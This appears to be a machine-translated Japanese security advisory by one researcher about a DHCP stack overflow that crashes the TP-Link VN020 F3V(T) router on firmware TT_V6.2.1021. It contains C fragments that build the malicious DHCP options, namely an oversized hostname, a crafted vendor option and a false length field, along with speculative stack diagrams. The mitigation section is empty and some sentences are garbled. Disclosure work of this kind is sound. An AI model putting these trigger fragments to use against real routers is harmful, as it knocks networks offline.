ファームウェアバージョンを実行しているTP-Link VN020 F3V(T)ルーターTT_V6.2.1021で重要な脆弱性が発見されています。この脆弱性により、リモート攻撃者は、特別に作成されたDHCP発見パケットを介してスタックベースのバッファーオーバーフローをトリガーでき、サービス拒否(DOS)条件につながります。
影響を受けるデバイス:
重要な注意:ファームウェアの独自の性質により、正確な内部実装の詳細は不明です。この分析は、観察された動作とブラックボックステストに基づいています。
[Basic DHCP Header]
0x00: 01 ; BOOTREQUEST
0x01: 01 ; Hardware type (Ethernet)
0x02: 06 ; Hardware address length
0x03: 00 ; Hops
0x04-0x07: XID ; Random transaction ID
0x08-0x09: 0000 ; Seconds elapsed
0x0A-0x0B: 8000 ; Flags (Broadcast)
0x0C-0x1F: 0000 ; Client/Server/Gateway IPs
0x20-0x28: MAC ; Client hardware address
0x29-0x2C: 0000 ; Padding
// Overflow trigger through hostname option
unsigned char long_hostname [ 128 ];
memset ( long_hostname , 'A' , sizeof ( long_hostname ) - 1 );
long_hostname [ 127 ] = ' ' ;
add_option ( packet , offset , 0x0C , 127 , long_hostname );
// Vendor option manipulation
unsigned char vendor_specific [] = {
0x00 , 0x14 , 0x22 , // TP-Link vendor prefix
0xFF , 0xFF , 0xFF // Trigger condition
};
add_option ( packet , offset , 0x2B , sizeof ( vendor_specific ), vendor_specific );
// Claimed vs actual length mismatch
add_option ( packet , offset , 0x3D , 0xFF , ( unsigned char []) { 0x01 });
正確な内部実装は不明ですが、観察された動作は潜在的な記憶腐敗の問題を示唆しています。
通常のDHCPホスト名処理
Stack Layout (Normal Case)
+------------------------+ Higher addresses
| Previous Frame |
+------------------------+
| Return Address (4) |
+------------------------+
| Saved EBP (4) |
+------------------------+
| |
| Hostname Buffer |
| (64 bytes) |
| |
+------------------------+ Lower addresses
| Other Variables |
+------------------------+
ルーター内で何が起こる可能性がありますか?
Stack Layout (Overflow Case)
+------------------------+ Higher addresses
| Previous Frame |
+------------------------+
| Overwritten Return |
+------------------------+
| Overwritten EBP | <- Unknown state corruption
+------------------------+
| Overflow Data | <- 127 bytes of 'A'
| ... |
+------------------------+ Lower addresses
| Other Variables | <- Potentially corrupted
+------------------------+
これは理論的であり、TP-LinkがこのルーターのファームウェアをISPだけに提供するため、特定の詳細は完全に正確ではない場合があります。
ルーターは、ここに示すようにここに示すように、自己再起動を試みることもあります。
現在、公式のパッチは利用できません。一時的な軽減には次のものがあります。
モハメド・マタラ